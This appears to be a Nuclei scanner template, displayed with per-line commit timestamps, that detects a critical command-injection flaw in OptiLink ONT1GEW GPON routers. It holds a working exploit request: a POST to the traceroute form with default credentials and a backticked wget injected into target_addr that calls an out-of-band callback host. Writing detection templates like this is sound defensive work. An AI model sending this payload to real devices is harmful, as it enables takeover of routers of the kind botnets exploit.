2021-07-15 17:45:22 +00:00
id : optilink-ont1gew-gpon-rce
2021-07-15 05:57:34 +00:00
info :
2022-04-07 13:53:15 +00:00
name : OptiLink ONT1GEW GPON Remote Code Execution
2021-07-15 05:57:34 +00:00
author : gy741
severity : critical
2022-04-07 13:53:15 +00:00
description : OptiLink is susceptible to remote code execution vulnerabilities which could allow an authenticated, remote attacker to perform command injection attacks against an affected device.
2021-08-18 11:37:49 +00:00
reference :
2021-07-15 05:57:34 +00:00
- https://packetstormsecurity.com/files/162993/OptiLink-ONT1GEW-GPON-2.1.11_X101-Remote-Code-Execution.html
- https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
2022-04-07 13:53:15 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10.0
cwe-id : CWE-77
2022-08-27 04:41:18 +00:00
tags : optiLink,rce,oast,mirai,packetstorm
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2021-07-15 05:57:34 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-15 05:57:34 +00:00
- raw :
- |
POST /boaform/admin/formTracert HTTP/1.1
2021-09-08 12:17:19 +00:00
Host : {{Hostname}}
2021-07-15 05:57:34 +00:00
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type : application/x-www-form-urlencoded
2021-09-08 12:17:19 +00:00
Origin : {{BaseURL}}
Referer : {{BaseURL}}/diag_ping_admin_en.asp
2021-07-15 05:57:34 +00:00
User : e8c
Password : e8c
2021-07-15 17:45:22 +00:00
2021-07-15 05:57:34 +00:00
target_addr="1.1.1.1+`wget+http%3A%2F%2F{{interactsh-url}}%2F`"&waninf=127.0.0.1"
matchers :
- type : word
part : interactsh_protocol # Confirms the HTTP Interaction
words :
- "http"
